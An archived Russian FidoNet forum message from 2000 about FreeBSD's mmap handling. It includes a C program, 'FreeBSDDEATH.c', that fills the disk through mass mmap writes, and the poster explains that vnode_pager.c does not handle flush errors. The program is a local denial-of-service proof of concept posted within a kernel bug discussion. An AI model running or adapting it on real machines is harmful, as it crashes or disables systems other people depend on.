Главная страница


ru.unix.bsd

 
 - RU.UNIX.BSD ------------------------------------------------------------------
 From : Oleg Derevenetz                      2:5025/3.4     31 May 2000  20:04:12
 To : john gladkih
 Subject : mmap
 -------------------------------------------------------------------------------- 
 
 
 At 31 May 00  16:51:56, john gladkih wrote to Aleksey Fedorov:
 
  AF>>  В данном примере нет ничего криминального. Система от него не зависнет.
 
  jg> данный пример демонстрирует отсутствие RLIMIT_VMEM в
  jg> fbsd и дает возможность любому пользователю устроить
  jg> DoS заполнением свопа и диким пейджингом. :/
 
 Это все ерунда по сравнению с другим примером :
 
 >===== Start cut [FreeBSDDEATH.c] =====<
 
 #include <sys/types.h>
 #include <sys/mman.h>
 #include <stdio.h>
 #include <string.h>
 #include <fcntl.h>
 #include <errno.h>
 
 #define COUNT   1024*1024
 #define SIZE    10*1024*1024
 
 int main () {
     int i,j,fd;
     char *fptr, fname [16];
     
     for (i=0;i<COUNT;i++) {
         sprintf (fname, "%d", i);
         printf ("DEBUG: fname: %s\n", fname); fflush (stdout);
         
         fd=open (fname, O_RDWR|O_CREAT, 644);
         lseek (fd, SIZE, SEEK_SET);
         write (fd, "-", 1);
         printf ("DEBUG: write\n"); fflush (stdout);
         
         if ((fptr=mmap (NULL, SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd,       
 0))==MAP_FAILED) {
             printf ("mmap() failed !\n"); fflush (stdout);
             return 0;
         }
         printf ("DEBUG: mmap, errno=%d\n", errno); fflush (stdout);
         
         for (j=0;j<SIZE;j++)
             fptr[j]='o';
         printf ("DEBUG: fill\n"); fflush (stdout);
     }
     
     return 0;
 }
 
 >=====  End cut  [FreeBSDDEATH.c] =====<
 
 Дело в том, что в vnode_pager.c не предусмотрена никакая обработка ошибок при
 сбросе грязных mmap'ленных страниц файла на диск, если на диске недостаточно
 места для такого сброса (да и вообще при любой ошибке I/O), и это приводит к
 очень плохим результатам. Где-то полгода назад я переписывался с людьми из
 freebsd.hackers, они меня по большому счету просто послали. VM сделана
 достаточно криво, поэтому мне придумать реакцию на такую проблему пока не
 удалось. Желательно было бы прибить процесс, но извлечь информацию о том, какому
 процессу принадлежит страница, при сбросе которой произошла ошибка, весьма
 затруднительно. Вот сижу сейчас, ломаю голову, что делать...
 
 Кстати, а здесь никто не занимается ядерным VM ?
 
 --- QDed beta v1.3 under FreeBSD 3.4-RELEASE
  * Origin: Взялся за гуж - полезай в кузов... (2:5025/3.4)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 mmap   Juriy Goloveshkin   30 May 2000 23:58:17 
 Re: mmap   john gladkih   31 May 2000 10:27:56 
 mmap   Aleksey Fedorov   31 May 2000 14:28:17 
 Re: mmap   john gladkih   31 May 2000 16:51:56 
 mmap   Oleg Derevenetz   31 May 2000 20:04:12 
Архивное /ru.unix.bsd/224839353ccd.html, оценка 2 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional